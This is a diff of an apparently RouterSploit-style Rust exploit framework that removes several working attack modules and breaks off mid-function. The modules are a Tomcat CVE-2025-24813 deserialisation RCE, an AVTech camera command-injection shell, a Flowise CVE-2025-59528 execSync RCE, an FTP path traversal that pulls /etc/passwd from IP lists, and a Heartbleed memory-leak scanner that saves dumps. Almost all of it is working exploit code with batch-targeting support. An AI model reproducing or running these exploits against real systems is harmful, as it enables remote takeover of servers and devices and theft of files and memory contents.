java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
Runtime.getRuntime().exec(cmd).getInputStream()
));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {{
output.append(line).append("\\n");
}}
PrintWriter out = new PrintWriter(System.out);
out.println(output.toString());
out.flush();
}} catch (IOException e) {{
e.printStackTrace();
}}
}}
}}
"#,
cmd = command
);
println!("[*] Generating Java payload using system javac and jar...");
std::fs::write("Exploit.java", &payload_java)?;
let compile = Command::new("javac").arg("Exploit.java").status()?;
if !compile.success() {
bail!("[-] javac failed. Make sure JDK is installed.");
}
let package = Command::new("jar")
.args(["cfe", payload_file, "Exploit", "Exploit.class"])
.status()?;
if !package.success() {
bail!("[-] jar packaging failed.");
}
std::fs::remove_file("Exploit.java").ok();
std::fs::remove_file("Exploit.class").ok();
println!("[+] Java payload JAR created: {}", payload_file);
Ok(())
}
/// // Generate ysoserial payload
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
if !Path::new(ysoserial_path).exists() {
bail!("[-] Error: {} not found", ysoserial_path);
}
println!("[*] Generating ysoserial payload: {}", command);
let output = Command::new("java")
.args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
.stdout(Stdio::piped())
.spawn()?
.wait_with_output()?;
std::fs::write(payload_file, output.stdout)?;
println!("[+] Payload generated: {payload_file}");
Ok(())
}
/// // Upload and verify payload
async fn upload_and_verify_payload(
client: &Client,
target_url: &str,
host: &str,
port: &str,
session_id: &str,
payload_file: &str,
) -> Result<bool> {
let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
let payload = read(payload_file).await?;
let res = client
.put(&exploit_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body(payload)
.send()
.await?;
if res.status() == StatusCode::CONFLICT {
println!("[+] Upload successful (409): {}", exploit_url);
let confirm = client
.get(target_url)
.header("Cookie", "JSESSIONID=absholi7ly")
.send()
.await?;
if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
println!("[+] Exploit triggered! Server returned 500.");
Ok(true)
} else {
println!("[-] Trigger failed: {}", confirm.status());
Ok(false)
}
} else {
println!("[-] Upload failed: HTTP {}", res.status());
Ok(false)
}
}
/// // Get session ID
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
let res = client
.get(&format!("{}/index.jsp", target_url))
.send()
.await?;
let body = res.text().await?;
let re = Regex::new(r"Session ID: (\w+)")?;
if let Some(caps) = re.captures(&body) {
return Ok(caps[1].to_string());
}
println!("[-] No session ID found. Using default.");
Ok("absholi7ly".to_string())
}
/// // Exploit logic
async fn execute_exploit(
target_url: &str,
port: &str,
command: &str,
ysoserial_path: &str,
gadget: &str,
payload_type: &str,
verify_ssl: bool,
) -> Result<()> {
// Extract host from URL safely
let host = target_url
.split("://")
.nth(1)
.unwrap_or(target_url)
.trim_matches('/')
.split(':')
.next()
.ok_or_else(|| anyhow::anyhow!("Failed to extract host from URL: {}", target_url))?;
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
let session_id = get_session_id(&client, target_url).await?;
println!("[*] Session ID: {session_id}");
if check_writable_servlet(&client, target_url, host, port).await? {
let payload_file = "payload.ser";
// Validate command input to prevent injection
let validated_command = validate_command_input(command)
.map_err(|e| anyhow::anyhow!("Invalid command: {}", e))?;
match payload_type {
"java" => generate_java_payload(&validated_command, payload_file)?,
"ysoserial" => generate_ysoserial_payload(&validated_command, ysoserial_path, gadget, payload_file)?,
_ => bail!("[-] Invalid payload type: {}", payload_type),
}
if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
println!("[+] Target vulnerable to CVE-2025-24813!");
} else {
println!("[-] Exploit failed or target not vulnerable.");
}
remove_file(payload_file).await.ok();
}
Ok(())
}
/// // Entry point
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080")).await?;
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
let mut gadget = String::from("CommonsCollections6");
let mut payload_type = String::from("ysoserial");
let mut ssl_verify = true;
loop {
println!(
r#"
=== MENU ===
1. Set Target URL (current: {target})
2. Set Command (current: {command})
3. Set Port (current: {port})
4. Set ysoserial Path (current: {ysoserial_path})
5. Set Gadget (current: {gadget})
6. Set Payload Type (current: {payload_type})
7. Toggle SSL Verify (current: {ssl_verify})
8. Run Exploit
9. Exit
"#
);
let selection = prompt("Select an option", None).await?;
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target)).await?;
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command)).await?;
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port)).await?;
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path)).await?;
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget)).await?;
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type)).await?;
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
} else {
println!("[+] Payload type set: {payload_type}");
}
}
"7" => {
ssl_verify = !ssl_verify;
println!("[!] SSL verification toggled: {ssl_verify}");
}
"8" => break,
"9" => {
println!("[!] Exiting without running exploit.");
return Ok(());
}
_ => println!("[-] Invalid option. Please choose 1-9."),
}
}
println!("[*] Starting exploit with:");
println!(" Target URL : {target}");
println!(" Command : {command}");
println!(" Port : {port}");
println!(" ysoserial : {ysoserial_path}");
println!(" Gadget : {gadget}");
println!(" SSL Verify : {ssl_verify}");
execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
}
@@ -1,3 +0,0 @@
pub mod cve_2025_24813_apache_tomcat_rce;
pub mod catkiller_cve_2025_31650;
@@ -1,157 +0,0 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_PORT: &str = "80";
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
println!("{}", "[*] Checking vulnerability...".cyan());
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = tokio::io::BufReader::new(stdin).lines();
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
loop {
print!("{}", "cve7029-shell> ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
if let Some(cmd) = lines.next_line().await? {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
println!("{}", "[*] Exiting shell...".yellow());
break;
}
if cmd.is_empty() {
continue;
}
match exec_cmd(client, base, cmd).await {
Ok(out) => println!("{}", out),
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
} else {
break;
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
use crate::utils::escape_shell_command;
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
// Escape command to prevent injection of additional shell commands
let escaped_cmd = escape_shell_command(cmd);
let payload = format!("1;{};", escaped_cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// Prompt user for a custom port number
async fn prompt_port() -> Result<String> {
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port)
.await
.context("Failed to read port")?;
let port = port.trim();
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
}
/// Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let port = prompt_port().await?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.filter(|s| !s.trim().is_empty())
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
println!();
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
println!("{}", format!("[*] Testing: {}", url).yellow());
if check_vuln(&client, &url).await? {
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
interactive_shell(&client, &url).await?;
} else {
println!("{}", format!("[-] {} is not vulnerable", url).red());
}
println!();
}
println!("{}", "[*] Scan complete.".cyan());
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod cve_2024_7029_avtech_camera;
@@ -1,205 +0,0 @@
// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
// Exploit Author: nltt0 (https://github.com/nltt-br)
// Vendor Homepage: https://flowiseai.com/
// Software Link: https://github.com/FlowiseAI/Flowise
// Version: < 3.0.5
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::escape_js_command;
use reqwest::Client;
use serde_json::json;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
"#
.cyan()
);
}
/// Login to Flowise and return authenticated session
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
let data = json!({
"email": email,
"password": password
});
let response = client
.post(&login_url)
.header("x-request-from", "internal")
.header("Accept-Language", "pt-BR,pt;q=0.9")
.header("Accept", "application/json, text/plain, */*")
.header("Content-Type", "application/json")
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
.header("Origin", "http://workflow.flow.hc")
.header("Referer", "http://workflow.flow.hc/signin")
.header("Accept-Encoding", "gzip, deflate, br")
.header("Connection", "keep-alive")
.json(&data)
.send()
.await
.context("Failed to send login request")?;
if response.status().is_success() {
// Extract session token/cookie from response
// The actual token extraction depends on Flowise's response format
// For now, we'll use the cookie jar from the client
Ok("authenticated".to_string())
} else {
Err(anyhow!("Login failed with status: {}", response.status()))
}
}
/// Execute remote code via the customMCP endpoint
async fn execute_rce(
client: &Client,
url: &str,
email: &str,
password: &str,
cmd: &str,
) -> Result<()> {
// First, login to get authenticated session
println!("{}", "[*] Attempting to login...".yellow());
login(client, url, email, password).await?;
println!("{}", "[+] Login successful".green());
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
// Escape the command for JavaScript execution with shell metacharacter protection
// execSync executes in a shell, so we need to escape both JS and shell metacharacters
let escaped_cmd = escape_js_command(cmd, true);
// Construct the malicious payload
let command = format!(
r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
escaped_cmd
);
let data = json!({
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": command
}
});
println!("{}", format!("[*] Executing command: {}", cmd).yellow());
let response = client
.post(&rce_url)
.header("x-request-from", "internal")
.header("Content-Type", "application/json")
.json(&data)
.send()
.await
.context("Failed to send RCE request")?;
if response.status() == 401 {
// Retry with internal header if we get 401
println!("{}", "[*] Received 401, retrying with internal header...".yellow());
let retry_response = client
.post(&rce_url)
.header("x-request-from", "internal")
.json(&data)
.send()
.await
.context("Failed to retry RCE request")?;
if retry_response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
}
} else if response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
println!("{}", format!("[*] Target URL: {}", base_url).yellow());
// Build HTTP client with cookie support and SSL verification disabled
let client = Client::builder()
.timeout(Duration::from_secs(30))
.danger_accept_invalid_certs(true)
.cookie_store(true)
.build()
.context("Failed to create HTTP client")?;
// Prompt for credentials and command
let mut email = String::new();
let mut password = String::new();
let mut command = String::new();
print!("{}", "Email: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut email)
.await
.context("Failed to read email")?;
print!("{}", "Password: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut password)
.await
.context("Failed to read password")?;
print!("{}", "Command to execute: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut command)
.await
.context("Failed to read command")?;
let email = email.trim();
let password = password.trim();
let command = command.trim();
if email.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Email, password, and command must be provided"));
}
execute_rce(&client, &base_url, email, password, command).await?;
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod cve_2025_59528_flowise_rce;
-1
View File
@@ -1 +0,0 @@
pub mod pachev_ftp_path_traversal_1_0;
@@ -1,216 +0,0 @@
use anyhow::{anyhow, Result, Context};
use suppaftp::FtpStream;
use std::fs::{File, OpenOptions};
use std::io::{BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
fn format_addr(target: &str, port: u16) -> String {
let mut clean = target.trim().to_string();
while clean.starts_with('[') && clean.ends_with(']') {
clean = clean[1..clean.len() - 1].to_string();
}
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
// // Actual FTP path traversal exploit
fn exploit_target(target: String, port: u16) -> Result<String> {
let addr = format_addr(&target, port);
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
// Connect to FTP server
let mut ftp = FtpStream::connect(&addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
std::io::copy(reader, &mut file)
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
std::io::ErrorKind::Other,
format!("Failed to write file: {}", e)
)))?;
Ok(())
})
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
ftp.quit().ok();
println!("{}", format!("[+] File saved as {}", out_file).green());
Ok(format!("{} SUCCESS", target))
}
// // Save result line into `results.txt`
fn save_result(line: &str) -> Result<()> {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open("results.txt")?;
writeln!(file, "{}", line)?;
Ok(())
}
// // Public auto-dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port")?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
};
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut use_list = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut use_list)
.await
.context("Failed to read list choice")?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
print!("{}", "Enter path to the IP list file: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut path = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut path)
.await
.context("Failed to read file path")?;
let path = path.trim();
if !Path::new(path).exists() {
return Err(anyhow!("List file does not exist: {}", path));
}
let file = File::open(path)?;
let reader = BufReader::new(file);
let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
let mut futures = FuturesUnordered::new();
for line_result in reader.lines() {
match line_result {
Ok(ip) => {
let ip = ip.trim();
if ip.is_empty() {
continue;
}
let ip_owned = ip.to_string();
let ip_for_errors = ip_owned.clone(); // Clone for error messages
let port = port;
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
}
Ok(Err(e)) => {
println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
}
Err(_) => {
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
}
}
Ok::<(), anyhow::Error>(())
}));
}
Err(e) => {
println!("{}", format!("[!] Failed to read line: {}", e).red());
}
}
}
// // Wait for all tasks to complete
while let Some(res) = futures.next().await {
if let Err(e) = res {
println!("{}", format!("[!] Task error: {}", e).red());
}
}
} else {
// // Single target mode
let target_owned = target.to_string();
let port = port;
println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[-] Exploit error: {}", e).red());
let _ = save_result(&format!("{} FAIL: {}", target, e));
}
Ok(Err(e)) => {
println!("{}", format!("[-] Join error: {}", e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
}
Err(_) => {
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", target));
}
}
}
Ok(())
}
-515
View File
@@ -1,515 +0,0 @@
use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::{BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target).await?;
run_with_config(target, config).await
}
async fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read port input")?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read payload size input")?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read heartbeat attempts input")?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read batch mode input")?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read batch file path input")?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
let sem_clone = sem.clone();
tasks.push(tokio::spawn(async move {
// Semaphore acquire should never fail in practice, but handle gracefully
let _permit = match sem_clone.acquire().await {
Ok(p) => p,
Err(_) => {
eprintln!("Warning: Failed to acquire semaphore permit");
return Ok(());
}
};
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
let host = if stripped.contains(':') && !stripped.contains('.') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, config.port);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
};
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
